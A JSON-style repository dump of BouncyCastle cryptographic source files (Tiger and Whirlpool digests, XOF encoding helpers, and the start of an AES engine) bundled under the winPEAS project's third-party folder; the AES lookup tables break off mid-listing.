x[7] ^= x[6];\n            x[0] += x[7];\n            x[1] -= x[0] ^ ((~x[7]) << 19);\n            x[2] ^= x[1];\n            x[3] += x[2];\n            x[4] -= x[3] ^ (long) ((ulong) (~x[2]) >> 23);\n            x[5] ^= x[4];\n            x[6] += x[5];\n            x[7] -= x[6] ^ 0x0123456789ABCDEFL;\n        }\n\n        private void ProcessBlock()\n        {\n            //\n            // save abc\n            //\n            long aa = a;\n            long bb = b;\n            long cc = c;\n\n            //\n            // rounds and schedule\n            //\n            RoundABC(x[0], 5);\n            RoundBCA(x[1], 5);\n            RoundCAB(x[2], 5);\n            RoundABC(x[3], 5);\n            RoundBCA(x[4], 5);\n            RoundCAB(x[5], 5);\n            RoundABC(x[6], 5);\n            RoundBCA(x[7], 5);\n\n            KeySchedule();\n\n            RoundCAB(x[0], 7);\n            RoundABC(x[1], 7);\n            RoundBCA(x[2], 7);\n            RoundCAB(x[3], 7);\n            RoundABC(x[4], 7);\n            RoundBCA(x[5], 7);\n            RoundCAB(x[6], 7);\n            RoundABC(x[7], 7);\n\n            KeySchedule();\n\n            RoundBCA(x[0], 9);\n            RoundCAB(x[1], 9);\n            RoundABC(x[2], 9);\n            RoundBCA(x[3], 9);\n            RoundCAB(x[4], 9);\n            RoundABC(x[5], 9);\n            RoundBCA(x[6], 9);\n            RoundCAB(x[7], 9);\n\n            //\n            // feed forward\n            //\n            a ^= aa;\n            b -= bb;\n            c += cc;\n\n            //\n            // clear the x buffer\n            //\n            xOff = 0;\n            for (int i = 0; i != x.Length; i++)\n            {\n                x[i] = 0;\n            }\n        }\n\n        private void UnpackWord(\n            long    r,\n            byte[]  output,\n            int     outOff)\n        {\n            output[outOff + 7]     = (byte)(r >> 56);\n            output[outOff + 6] = (byte)(r >> 48);\n            output[outOff + 5] = (byte)(r >> 40);\n            output[outOff + 4] = (byte)(r >> 32);\n            output[outOff + 3] = (byte)(r >> 24);\n            output[outOff + 2] = (byte)(r >> 16);\n            output[outOff + 1] = (byte)(r >> 8);\n            output[outOff] = (byte)r;\n        }\n\n        private void ProcessLength(\n            long    bitLength)\n        {\n            x[7] = bitLength;\n        }\n\n        private void Finish()\n        {\n            long    bitLength = (byteCount << 3);\n\n            Update((byte)0x01);\n\n            while (bOff != 0)\n            {\n                Update((byte)0);\n            }\n\n            ProcessLength(bitLength);\n\n            ProcessBlock();\n        }\n\n        public int DoFinal(\n            byte[]  output,\n            int     outOff)\n        {\n            Finish();\n\n            UnpackWord(a, output, outOff);\n            UnpackWord(b, output, outOff + 8);\n            UnpackWord(c, output, outOff + 16);\n\n            Reset();\n\n            return DigestLength;\n        }\n\n        /**\n        * reset the chaining variables\n        */\n        public void Reset()\n        {\n            a = unchecked((long) 0x0123456789ABCDEFL);\n            b = unchecked((long) 0xFEDCBA9876543210L);\n            c = unchecked((long) 0xF096A5B4C3B2E187L);\n\n            xOff = 0;\n            for (int i = 0; i != x.Length; i++)\n            {\n                x[i] = 0;\n            }\n\n            bOff = 0;\n            for (int i = 0; i != Buffer.Length; i++)\n            {\n                Buffer[i] = 0;\n            }\n\n            byteCount = 0;\n        }\n\n\t\tpublic IMemoable Copy()\n\t\t{\n\t\t\treturn new TigerDigest(this);\n\t\t}\n\n\t\tpublic void Reset(IMemoable other)\n\t\t{\n\t\t\tTigerDigest t = (TigerDigest)other;\n\n\t\t\ta = t.a;\n\t\t\tb = t.b;\n\t\t\tc = t.c;\n\n\t\t\tArray.Copy(t.x, 0, x, 0, t.x.Length);\n\t\t\txOff = t.xOff;\n\n\t\t\tArray.Copy(t.Buffer, 0, Buffer, 0, t.Buffer.Length);\n\t\t\tbOff = t.bOff;\n\n\t\t\tbyteCount = t.byteCount;\n\t\t}    \n\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/WhirlpoolDigest.cs",
    "content": "using System;\nusing winPEAS._3rdParty.BouncyCastle.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n\t/**\n\t* Implementation of WhirlpoolDigest, based on Java source published by Barreto\n\t* and Rijmen.\n\t*\n\t*/\n\tpublic sealed class WhirlpoolDigest\n\t\t: IDigest, IMemoable\n\t{\n\t\tprivate const int BYTE_LENGTH = 64;\n\n\t\tprivate const int DIGEST_LENGTH_BYTES = 512 / 8;\n\t\tprivate const int ROUNDS = 10;\n\t\tprivate const int REDUCTION_POLYNOMIAL = 0x011d; // 2^8 + 2^4 + 2^3 + 2 + 1;\n\n\t\tprivate static readonly int[] SBOX =\n\t\t{\n\t\t\t0x18, 0x23, 0xc6, 0xe8, 0x87, 0xb8, 0x01, 0x4f, 0x36, 0xa6, 0xd2, 0xf5, 0x79, 0x6f, 0x91, 0x52,\n\t\t\t0x60, 0xbc, 0x9b, 0x8e, 0xa3, 0x0c, 0x7b, 0x35, 0x1d, 0xe0, 0xd7, 0xc2, 0x2e, 0x4b, 0xfe, 0x57,\n\t\t\t0x15, 0x77, 0x37, 0xe5, 0x9f, 0xf0, 0x4a, 0xda, 0x58, 0xc9, 0x29, 0x0a, 0xb1, 0xa0, 0x6b, 0x85,\n\t\t\t0xbd, 0x5d, 0x10, 0xf4, 0xcb, 0x3e, 0x05, 0x67, 0xe4, 0x27, 0x41, 0x8b, 0xa7, 0x7d, 0x95, 0xd8,\n\t\t\t0xfb, 0xee, 0x7c, 0x66, 0xdd, 0x17, 0x47, 0x9e, 0xca, 0x2d, 0xbf, 0x07, 0xad, 0x5a, 0x83, 0x33,\n\t\t\t0x63, 0x02, 0xaa, 0x71, 0xc8, 0x19, 0x49, 0xd9, 0xf2, 0xe3, 0x5b, 0x88, 0x9a, 0x26, 0x32, 0xb0,\n\t\t\t0xe9, 0x0f, 0xd5, 0x80, 0xbe, 0xcd, 0x34, 0x48, 0xff, 0x7a, 0x90, 0x5f, 0x20, 0x68, 0x1a, 0xae,\n\t\t\t0xb4, 0x54, 0x93, 0x22, 0x64, 0xf1, 0x73, 0x12, 0x40, 0x08, 0xc3, 0xec, 0xdb, 0xa1, 0x8d, 0x3d,\n\t\t\t0x97, 0x00, 0xcf, 0x2b, 0x76, 0x82, 0xd6, 0x1b, 0xb5, 0xaf, 0x6a, 0x50, 0x45, 0xf3, 0x30, 0xef,\n\t\t\t0x3f, 0x55, 0xa2, 0xea, 0x65, 0xba, 0x2f, 0xc0, 0xde, 0x1c, 0xfd, 0x4d, 0x92, 0x75, 0x06, 0x8a,\n\t\t\t0xb2, 0xe6, 0x0e, 0x1f, 0x62, 0xd4, 0xa8, 0x96, 0xf9, 0xc5, 0x25, 0x59, 0x84, 0x72, 0x39, 0x4c,\n\t\t\t0x5e, 0x78, 0x38, 0x8c, 0xd1, 0xa5, 0xe2, 0x61, 0xb3, 0x21, 0x9c, 0x1e, 0x43, 0xc7, 0xfc, 0x04,\n\t\t\t0x51, 0x99, 0x6d, 0x0d, 0xfa, 0xdf, 0x7e, 0x24, 0x3b, 0xab, 0xce, 0x11, 0x8f, 0x4e, 0xb7, 0xeb,\n\t\t\t0x3c, 0x81, 0x94, 0xf7, 0xb9, 0x13, 0x2c, 0xd3, 0xe7, 0x6e, 0xc4, 0x03, 0x56, 0x44, 0x7f, 0xa9,\n\t\t\t0x2a, 0xbb, 0xc1, 0x53, 0xdc, 0x0b, 0x9d, 0x6c, 0x31, 0x74, 0xf6, 0x46, 0xac, 0x89, 0x14, 0xe1,\n\t\t\t0x16, 0x3a, 0x69, 0x09, 0x70, 0xb6, 0xd0, 0xed, 0xcc, 0x42, 0x98, 0xa4, 0x28, 0x5c, 0xf8, 0x86\n\t\t};\n\n\t\tprivate static readonly long[] C0 = new long[256];\n\t\tprivate static readonly long[] C1 = new long[256];\n\t\tprivate static readonly long[] C2 = new long[256];\n\t\tprivate static readonly long[] C3 = new long[256];\n\t\tprivate static readonly long[] C4 = new long[256];\n\t\tprivate static readonly long[] C5 = new long[256];\n\t\tprivate static readonly long[] C6 = new long[256];\n\t\tprivate static readonly long[] C7 = new long[256];\n\n\t\tprivate readonly long[] _rc = new long[ROUNDS + 1];\n\n\t\t/*\n\t\t\t* increment() can be implemented in this way using 2 arrays or\n\t\t\t* by having some temporary variables that are used to set the\n\t\t\t* value provided by EIGHT[i] and carry within the loop.\n\t\t\t*\n\t\t\t* not having done any timing, this seems likely to be faster\n\t\t\t* at the slight expense of 32*(sizeof short) bytes\n\t\t\t*/\n\t\tprivate static readonly short[] EIGHT = new short[BITCOUNT_ARRAY_SIZE];\n\n\t\tstatic WhirlpoolDigest()\n\t\t{\n\t\t\tEIGHT[BITCOUNT_ARRAY_SIZE - 1] = 8;\n\n\t\t\tfor (int i = 0; i < 256; i++)\n\t\t\t{\n\t\t\t\tint v1 = SBOX[i];\n\t\t\t\tint v2 = maskWithReductionPolynomial(v1 << 1);\n\t\t\t\tint v4 = maskWithReductionPolynomial(v2 << 1);\n\t\t\t\tint v5 = v4 ^ v1;\n\t\t\t\tint v8 = maskWithReductionPolynomial(v4 << 1);\n\t\t\t\tint v9 = v8 ^ v1;\n\n\t\t\t\tC0[i] = packIntoLong(v1, v1, v4, v1, v8, v5, v2, v9);\n\t\t\t\tC1[i] = packIntoLong(v9, v1, v1, v4, v1, v8, v5, v2);\n\t\t\t\tC2[i] = packIntoLong(v2, v9, v1, v1, v4, v1, v8, v5);\n\t\t\t\tC3[i] = packIntoLong(v5, v2, v9, v1, v1, v4, v1, v8);\n\t\t\t\tC4[i] = packIntoLong(v8, v5, v2, v9, v1, v1, v4, v1);\n\t\t\t\tC5[i] = packIntoLong(v1, v8, v5, v2, v9, v1, v1, v4);\n\t\t\t\tC6[i] = packIntoLong(v4, v1, v8, v5, v2, v9, v1, v1);\n\t\t\t\tC7[i] = packIntoLong(v1, v4, v1, v8, v5, v2, v9, v1);\n\t\t\t}\n\t\t}\n\n\t\tpublic WhirlpoolDigest()\n\t\t{\n\t\t\t_rc[0] = 0L;\n\t\t\tfor (int r = 1; r <= ROUNDS; r++)\n\t\t\t{\n\t\t\t\tint i = 8 * (r - 1);\n\t\t\t\t_rc[r] = (long)((ulong)C0[i] & 0xff00000000000000L) ^\n\t\t\t\t\t(C1[i + 1] & (long) 0x00ff000000000000L) ^\n\t\t\t\t\t(C2[i + 2] & (long) 0x0000ff0000000000L) ^\n\t\t\t\t\t(C3[i + 3] & (long) 0x000000ff00000000L) ^\n\t\t\t\t\t(C4[i + 4] & (long) 0x00000000ff000000L) ^\n\t\t\t\t\t(C5[i + 5] & (long) 0x0000000000ff0000L) ^\n\t\t\t\t\t(C6[i + 6] & (long) 0x000000000000ff00L) ^\n\t\t\t\t\t(C7[i + 7] & (long) 0x00000000000000ffL);\n\t\t\t}\n\t\t}\n\n\t\tprivate static long packIntoLong(int b7, int b6, int b5, int b4, int b3, int b2, int b1, int b0)\n\t\t{\n\t\t\treturn\n\t\t\t\t((long)b7 << 56) ^\n\t\t\t\t((long)b6 << 48) ^\n\t\t\t\t((long)b5 << 40) ^\n\t\t\t\t((long)b4 << 32) ^\n\t\t\t\t((long)b3 << 24) ^\n\t\t\t\t((long)b2 << 16) ^\n\t\t\t\t((long)b1 <<  8) ^\n\t\t\t\tb0;\n\t\t}\n\n\t\t/*\n\t\t\t* int's are used to prevent sign extension.  The values that are really being used are\n\t\t\t* actually just 0..255\n\t\t\t*/\n\t\tprivate static int maskWithReductionPolynomial(int input)\n\t\t{\n\t\t\tint rv = input;\n\t\t\tif (rv >= 0x100L) // high bit set\n\t\t\t{\n\t\t\t\trv ^= REDUCTION_POLYNOMIAL; // reduced by the polynomial\n\t\t\t}\n\t\t\treturn rv;\n\t\t}\n\n\t\t// --------------------------------------------------------------------------------------//\n\n\t\t// -- buffer information --\n\t\tprivate const int BITCOUNT_ARRAY_SIZE = 32;\n\t\tprivate byte[]  _buffer    = new byte[64];\n\t\tprivate int     _bufferPos;\n\t\tprivate short[] _bitCount  = new short[BITCOUNT_ARRAY_SIZE];\n\n\t\t// -- internal hash state --\n\t\tprivate long[] _hash  = new long[8];\n\t\tprivate long[] _K = new long[8]; // the round key\n\t\tprivate long[] _L = new long[8];\n\t\tprivate long[] _block = new long[8]; // mu (buffer)\n\t\tprivate long[] _state = new long[8]; // the current \"cipher\" state\n\n\n\n\t\t/**\n\t\t\t* Copy constructor. This will copy the state of the provided message\n\t\t\t* digest.\n\t\t\t*/\n\t\tpublic WhirlpoolDigest(WhirlpoolDigest originalDigest)\n\t\t{\n\t\t\tReset(originalDigest);\n\t\t}\n\n\t\tpublic string AlgorithmName\n\t\t{\n\t\t\tget { return \"Whirlpool\"; }\n\t\t}\n\n\t\tpublic int GetDigestSize()\n\t\t{\n\t\t\treturn DIGEST_LENGTH_BYTES;\n\t\t}\n\n\t\tpublic int DoFinal(byte[] output, int outOff)\n\t\t{\n\t\t\t// sets output[outOff] .. output[outOff+DIGEST_LENGTH_BYTES]\n\t\t\tfinish();\n\n\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t{\n\t\t\t\tconvertLongToByteArray(_hash[i], output, outOff + (i * 8));\n\t\t\t}\n\n\t\t\tReset();\n\n\t\t\treturn GetDigestSize();\n\t\t}\n\n\t\t/**\n\t\t\t* Reset the chaining variables\n\t\t\t*/\n\t\tpublic void Reset()\n\t\t{\n\t\t\t// set variables to null, blank, whatever\n\t\t\t_bufferPos = 0;\n\t\t\tArray.Clear(_bitCount, 0, _bitCount.Length);\n\t\t\tArray.Clear(_buffer, 0, _buffer.Length);\n\t\t\tArray.Clear(_hash, 0, _hash.Length);\n\t\t\tArray.Clear(_K, 0, _K.Length);\n\t\t\tArray.Clear(_L, 0, _L.Length);\n\t\t\tArray.Clear(_block, 0, _block.Length);\n\t\t\tArray.Clear(_state, 0, _state.Length);\n\t\t}\n\n\t\t// this takes a buffer of information and fills the block\n\t\tprivate void processFilledBuffer()\n\t\t{\n\t\t\t// copies into the block...\n\t\t\tfor (int i = 0; i < _state.Length; i++)\n\t\t\t{\n\t\t\t\t_block[i] = bytesToLongFromBuffer(_buffer, i * 8);\n\t\t\t}\n\t\t\tprocessBlock();\n\t\t\t_bufferPos = 0;\n\t\t\tArray.Clear(_buffer, 0, _buffer.Length);\n\t\t}\n\n\t\tprivate static long bytesToLongFromBuffer(byte[] buffer, int startPos)\n\t\t{\n\t\t\tlong rv = (((buffer[startPos + 0] & 0xffL) << 56) |\n\t\t\t\t((buffer[startPos + 1] & 0xffL) << 48) |\n\t\t\t\t((buffer[startPos + 2] & 0xffL) << 40) |\n\t\t\t\t((buffer[startPos + 3] & 0xffL) << 32) |\n\t\t\t\t((buffer[startPos + 4] & 0xffL) << 24) |\n\t\t\t\t((buffer[startPos + 5] & 0xffL) << 16) |\n\t\t\t\t((buffer[startPos + 6] & 0xffL) <<  8) |\n\t\t\t\t((buffer[startPos + 7]) & 0xffL));\n\n\t\t\treturn rv;\n\t\t}\n\n\t\tprivate static void convertLongToByteArray(long inputLong, byte[] outputArray, int offSet)\n\t\t{\n\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t{\n\t\t\t\toutputArray[offSet + i] = (byte)((inputLong >> (56 - (i * 8))) & 0xff);\n\t\t\t}\n\t\t}\n\n\t\tprivate void processBlock()\n\t\t{\n\t\t\t// buffer contents have been transferred to the _block[] array via\n\t\t\t// processFilledBuffer\n\n\t\t\t// compute and apply K^0\n\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t{\n\t\t\t\t_state[i] = _block[i] ^ (_K[i] = _hash[i]);\n\t\t\t}\n\n\t\t\t// iterate over the rounds\n\t\t\tfor (int round = 1; round <= ROUNDS; round++)\n\t\t\t{\n\t\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t\t{\n\t\t\t\t\t_L[i] = 0;\n\t\t\t\t\t_L[i] ^= C0[(int)(_K[(i - 0) & 7] >> 56) & 0xff];\n\t\t\t\t\t_L[i] ^= C1[(int)(_K[(i - 1) & 7] >> 48) & 0xff];\n\t\t\t\t\t_L[i] ^= C2[(int)(_K[(i - 2) & 7] >> 40) & 0xff];\n\t\t\t\t\t_L[i] ^= C3[(int)(_K[(i - 3) & 7] >> 32) & 0xff];\n\t\t\t\t\t_L[i] ^= C4[(int)(_K[(i - 4) & 7] >> 24) & 0xff];\n\t\t\t\t\t_L[i] ^= C5[(int)(_K[(i - 5) & 7] >> 16) & 0xff];\n\t\t\t\t\t_L[i] ^= C6[(int)(_K[(i - 6) & 7] >>  8) & 0xff];\n\t\t\t\t\t_L[i] ^= C7[(int)(_K[(i - 7) & 7]) & 0xff];\n\t\t\t\t}\n\n\t\t\t\tArray.Copy(_L, 0, _K, 0, _K.Length);\n\n\t\t\t\t_K[0] ^= _rc[round];\n\n\t\t\t\t// apply the round transformation\n\t\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t\t{\n\t\t\t\t\t_L[i] = _K[i];\n\n\t\t\t\t\t_L[i] ^= C0[(int)(_state[(i - 0) & 7] >> 56) & 0xff];\n\t\t\t\t\t_L[i] ^= C1[(int)(_state[(i - 1) & 7] >> 48) & 0xff];\n\t\t\t\t\t_L[i] ^= C2[(int)(_state[(i - 2) & 7] >> 40) & 0xff];\n\t\t\t\t\t_L[i] ^= C3[(int)(_state[(i - 3) & 7] >> 32) & 0xff];\n\t\t\t\t\t_L[i] ^= C4[(int)(_state[(i - 4) & 7] >> 24) & 0xff];\n\t\t\t\t\t_L[i] ^= C5[(int)(_state[(i - 5) & 7] >> 16) & 0xff];\n\t\t\t\t\t_L[i] ^= C6[(int)(_state[(i - 6) & 7] >> 8) & 0xff];\n\t\t\t\t\t_L[i] ^= C7[(int)(_state[(i - 7) & 7]) & 0xff];\n\t\t\t\t}\n\n\t\t\t\t// save the current state\n\t\t\t\tArray.Copy(_L, 0, _state, 0, _state.Length);\n\t\t\t}\n\n\t\t\t// apply Miuaguchi-Preneel compression\n\t\t\tfor (int i = 0; i < 8; i++)\n\t\t\t{\n\t\t\t\t_hash[i] ^= _state[i] ^ _block[i];\n\t\t\t}\n\n\t\t}\n\n\t\tpublic void Update(byte input)\n\t\t{\n\t\t\t_buffer[_bufferPos] = input;\n\n\t\t\t//Console.WriteLine(\"adding to buffer = \"+_buffer[_bufferPos]);\n\n\t\t\t++_bufferPos;\n\n\t\t\tif (_bufferPos == _buffer.Length)\n\t\t\t{\n\t\t\t\tprocessFilledBuffer();\n\t\t\t}\n\n\t\t\tincrement();\n\t\t}\n\n\t\tprivate void increment()\n\t\t{\n\t\t\tint carry = 0;\n\t\t\tfor (int i = _bitCount.Length - 1; i >= 0; i--)\n\t\t\t{\n\t\t\t\tint sum = (_bitCount[i] & 0xff) + EIGHT[i] + carry;\n\n\t\t\t\tcarry = sum >> 8;\n\t\t\t\t_bitCount[i] = (short)(sum & 0xff);\n\t\t\t}\n\t\t}\n\n\t\tpublic void BlockUpdate(byte[] input, int inOff, int length)\n\t\t{\n\t\t\twhile (length > 0)\n\t\t\t{\n\t\t\t\tUpdate(input[inOff]);\n\t\t\t\t++inOff;\n\t\t\t\t--length;\n\t\t\t}\n\n\t\t}\n\n\t\tprivate void finish()\n\t\t{\n\t\t\t/*\n\t\t\t\t* this makes a copy of the current bit length. at the expense of an\n\t\t\t\t* object creation of 32 bytes rather than providing a _stopCounting\n\t\t\t\t* boolean which was the alternative I could think of.\n\t\t\t\t*/\n\t\t\tbyte[] bitLength = copyBitLength();\n\n\t\t\t_buffer[_bufferPos++] |= 0x80;\n\n\t\t\tif (_bufferPos == _buffer.Length)\n\t\t\t{\n\t\t\t\tprocessFilledBuffer();\n\t\t\t}\n\n\t\t\t/*\n\t\t\t\t* Final block contains\n\t\t\t\t* [ ... data .... ][0][0][0][ length ]\n\t\t\t\t*\n\t\t\t\t* if [ length ] cannot fit.  Need to create a new block.\n\t\t\t\t*/\n\t\t\tif (_bufferPos > 32)\n\t\t\t{\n\t\t\t\twhile (_bufferPos != 0)\n\t\t\t\t{\n\t\t\t\t\tUpdate((byte)0);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\twhile (_bufferPos <= 32)\n\t\t\t{\n\t\t\t\tUpdate((byte)0);\n\t\t\t}\n\n\t\t\t// copy the length information to the final 32 bytes of the\n\t\t\t// 64 byte block....\n\t\t\tArray.Copy(bitLength, 0, _buffer, 32, bitLength.Length);\n\n\t\t\tprocessFilledBuffer();\n\t\t}\n\n\t\tprivate byte[] copyBitLength()\n\t\t{\n\t\t\tbyte[] rv = new byte[BITCOUNT_ARRAY_SIZE];\n\t\t\tfor (int i = 0; i < rv.Length; i++)\n\t\t\t{\n\t\t\t\trv[i] = (byte)(_bitCount[i] & 0xff);\n\t\t\t}\n\t\t\treturn rv;\n\t\t}\n\n\t\tpublic int GetByteLength()\n\t\t{\n\t\t\treturn BYTE_LENGTH;\n\t\t}\n\n\t\tpublic IMemoable Copy()\n\t\t{\n\t\t\treturn new WhirlpoolDigest(this);\n\t\t}\n\n\t\tpublic void Reset(IMemoable other)\n\t\t{\n\t\t\tWhirlpoolDigest originalDigest = (WhirlpoolDigest)other;\n\n\t\t\tArray.Copy(originalDigest._rc, 0, _rc, 0, _rc.Length);\n\n\t\t\tArray.Copy(originalDigest._buffer, 0, _buffer, 0, _buffer.Length);\n\n\t\t\tthis._bufferPos = originalDigest._bufferPos;\n\t\t\tArray.Copy(originalDigest._bitCount, 0, _bitCount, 0, _bitCount.Length);\n\n\t\t\t// -- internal hash state --\n\t\t\tArray.Copy(originalDigest._hash, 0, _hash, 0, _hash.Length);\n\t\t\tArray.Copy(originalDigest._K, 0, _K, 0, _K.Length);\n\t\t\tArray.Copy(originalDigest._L, 0, _L, 0, _L.Length);\n\t\t\tArray.Copy(originalDigest._block, 0, _block, 0, _block.Length);\n\t\t\tArray.Copy(originalDigest._state, 0, _state, 0, _state.Length);\n\t\t}\n\n\n\t}\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/digests/XofUtils.cs",
    "content": "﻿namespace winPEAS._3rdParty.BouncyCastle.crypto.digests\n{\n    internal class XofUtilities\n    {\n        internal static byte[] LeftEncode(long strLen)\n        {\n            byte n = 1;\n\n            long v = strLen;\n            while ((v >>= 8) != 0)\n            {\n                n++;\n            }\n\n            byte[] b = new byte[n + 1];\n\n            b[0] = n;\n\n            for (int i = 1; i <= n; i++)\n            {\n                b[i] = (byte)(strLen >> (8 * (n - i)));\n            }\n\n            return b;\n        }\n\n        internal static byte[] RightEncode(long strLen)\n        {\n            byte n = 1;\n\n            long v = strLen;\n            while ((v >>= 8) != 0)\n            {\n                n++;\n            }\n\n            byte[] b = new byte[n + 1];\n\n            b[n] = n;\n\n            for (int i = 0; i < n; i++)\n            {\n                b[i] = (byte)(strLen >> (8 * (n - i - 1)));\n            }\n\n            return b;\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/AesEngine.cs",
    "content": "﻿using System;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.engines\n{\n    /**\n      * an implementation of the AES (Rijndael), from FIPS-197.\n      * <p>\n      * For further details see: <a href=\"http://csrc.nist.gov/encryption/aes/\">http://csrc.nist.gov/encryption/aes/</a>.\n      *\n      * This implementation is based on optimizations from Dr. Brian Gladman's paper and C code at\n      * <a href=\"http://fp.gladman.plus.com/cryptography_technology/rijndael/\">http://fp.gladman.plus.com/cryptography_technology/rijndael/</a>\n      *\n      * There are three levels of tradeoff of speed vs memory\n      * Because java has no preprocessor, they are written as three separate classes from which to choose\n      *\n      * The fastest uses 8Kbytes of static tables to precompute round calculations, 4 256 word tables for encryption\n      * and 4 for decryption.\n      *\n      * The middle performance version uses only one 256 word table for each, for a total of 2Kbytes,\n      * adding 12 rotate operations per round to compute the values contained in the other tables from\n      * the contents of the first.\n      *\n      * The slowest version uses no static tables at all and computes the values in each round.\n      * </p>\n      * <p>\n      * This file contains the middle performance version with 2Kbytes of static tables for round precomputation.\n      * </p>\n      */\n    public class AesEngine\n        : IBlockCipher\n    {\n        // The S box\n        private static readonly byte[] S =\n        {\n            99, 124, 119, 123, 242, 107, 111, 197,\n            48, 1, 103, 43, 254, 215, 171, 118,\n            202, 130, 201, 125, 250, 89, 71, 240,\n            173, 212, 162, 175, 156, 164, 114, 192,\n            183, 253, 147, 38, 54, 63, 247, 204,\n            52, 165, 229, 241, 113, 216, 49, 21,\n            4, 199, 35, 195, 24, 150, 5, 154,\n            7, 18, 128, 226, 235, 39, 178, 117,\n            9, 131, 44, 26, 27, 110, 90, 160,\n            82, 59, 214, 179, 41, 227, 47, 132,\n            83, 209, 0, 237, 32, 252, 177, 91,\n            106, 203, 190, 57, 74, 76, 88, 207,\n            208, 239, 170, 251, 67, 77, 51, 133,\n            69, 249, 2, 127, 80, 60, 159, 168,\n            81, 163, 64, 143, 146, 157, 56, 245,\n            188, 182, 218, 33, 16, 255, 243, 210,\n            205, 12, 19, 236, 95, 151, 68, 23,\n            196, 167, 126, 61, 100, 93, 25, 115,\n            96, 129, 79, 220, 34, 42, 144, 136,\n            70, 238, 184, 20, 222, 94, 11, 219,\n            224, 50, 58, 10, 73, 6, 36, 92,\n            194, 211, 172, 98, 145, 149, 228, 121,\n            231, 200, 55, 109, 141, 213, 78, 169,\n            108, 86, 244, 234, 101, 122, 174, 8,\n            186, 120, 37, 46, 28, 166, 180, 198,\n            232, 221, 116, 31, 75, 189, 139, 138,\n            112, 62, 181, 102, 72, 3, 246, 14,\n            97, 53, 87, 185, 134, 193, 29, 158,\n            225, 248, 152, 17, 105, 217, 142, 148,\n            155, 30, 135, 233, 206, 85, 40, 223,\n            140, 161, 137, 13, 191, 230, 66, 104,\n            65, 153, 45, 15, 176, 84, 187, 22,\n        };\n\n        // The inverse S-box\n        private static readonly byte[] Si =\n        {\n            82, 9, 106, 213, 48, 54, 165, 56,\n            191, 64, 163, 158, 129, 243, 215, 251,\n            124, 227, 57, 130, 155, 47, 255, 135,\n            52, 142, 67, 68, 196, 222, 233, 203,\n            84, 123, 148, 50, 166, 194, 35, 61,\n            238, 76, 149, 11, 66, 250, 195, 78,\n            8, 46, 161, 102, 40, 217, 36, 178,\n            118, 91, 162, 73, 109, 139, 209, 37,\n            114, 248, 246, 100, 134, 104, 152, 22,\n            212, 164, 92, 204, 93, 101, 182, 146,\n            108, 112, 72, 80, 253, 237, 185, 218,\n            94, 21, 70, 87, 167, 141, 157, 132,\n            144, 216, 171, 0, 140, 188, 211, 10,\n            247, 228, 88, 5, 184, 179, 69, 6,\n            208, 44, 30, 143, 202, 63, 15, 2,\n            193, 175, 189, 3, 1, 19, 138, 107,\n            58, 145, 17, 65, 79, 103, 220, 234,\n            151, 242, 207, 206, 240, 180, 230, 115,\n            150, 172, 116, 34, 231, 173, 53, 133,\n            226, 249, 55, 232, 28, 117, 223, 110,\n            71, 241, 26, 113, 29, 41, 197, 137,\n            111, 183, 98, 14, 170, 24, 190, 27,\n            252, 86, 62, 75, 198, 210, 121, 32,\n            154, 219, 192, 254, 120, 205, 90, 244,\n            31, 221, 168, 51, 136, 7, 199, 49,\n            177, 18, 16, 89, 39, 128, 236, 95,\n            96, 81, 127, 169, 25, 181, 74, 13,\n            45, 229, 122, 159, 147, 201, 156, 239,\n            160, 224, 59, 77, 174, 42, 245, 176,\n            200, 235, 187, 60, 131, 83, 153, 97,\n            23, 43, 4, 126, 186, 119, 214, 38,\n            225, 105, 20, 99, 85, 33, 12, 125,\n        };\n\n        // vector used in calculating key schedule (powers of x in GF(256))\n        private static readonly byte[] rcon =\n        {\n            0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a,\n            0x2f, 0x5e, 0xbc, 0x63, 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91\n        };\n\n        // precomputation tables of calculations for rounds\n        private static readonly uint[] T0 =\n        {\n            0xa56363c6, 0x847c7cf8, 0x997777ee, 0x8d7b7bf6, 0x0df2f2ff,\n            0xbd6b6bd6, 0xb16f6fde, 0x54c5c591, 0x50303060, 0x03010102,\n            0xa96767ce, 0x7d2b2b56, 0x19fefee7, 0x62d7d7b5, 0xe6abab4d,\n            0x9a7676ec, 0x45caca8f, 0x9d82821f, 0x40c9c989, 0x877d7dfa,\n            0x15fafaef, 0xeb5959b2, 0xc947478e, 0x0bf0f0fb, 0xecadad41,\n            0x67d4d4b3, 0xfda2a25f, 0xeaafaf45, 0xbf9c9c23, 0xf7a4a453,\n            0x967272e4, 0x5bc0c09b, 0xc2b7b775, 0x1cfdfde1, 0xae93933d,\n            0x6a26264c, 0x5a36366c, 0x413f3f7e, 0x02f7f7f5, 0x4fcccc83,\n            0x5c343468, 0xf4a5a551, 0x34e5e5d1, 0x08f1f1f9, 0x937171e2,\n            0x73d8d8ab, 0x53313162, 0x3f15152a, 0x0c040408, 0x52c7c795,\n            0x65232346, 0x5ec3c39d, 0x28181830, 0xa1969637, 0x0f05050a,\n            0xb59a9a2f, 0x0907070e, 0x36121224, 0x9b80801b, 0x3de2e2df,\n            0x26ebebcd, 0x6927274e, 0xcdb2b27f, 0x9f7575ea, 0x1b090912,\n            0x9e83831d, 0x742c2c58, 0x2e1a1a34, 0x2d1b1b36, 0xb26e6edc,\n            0xee5a5ab4, 0xfba0a05b, 0xf65252a4, 0x4d3b3b76, 0x61d6d6b7,\n            0xceb3b37d, 0x7b292952, 0x3ee3e3dd, 0x712f2f5e, 0x97848413,\n            0xf55353a6, 0x68d1d1b9, 0x00000000, 0x2cededc1, 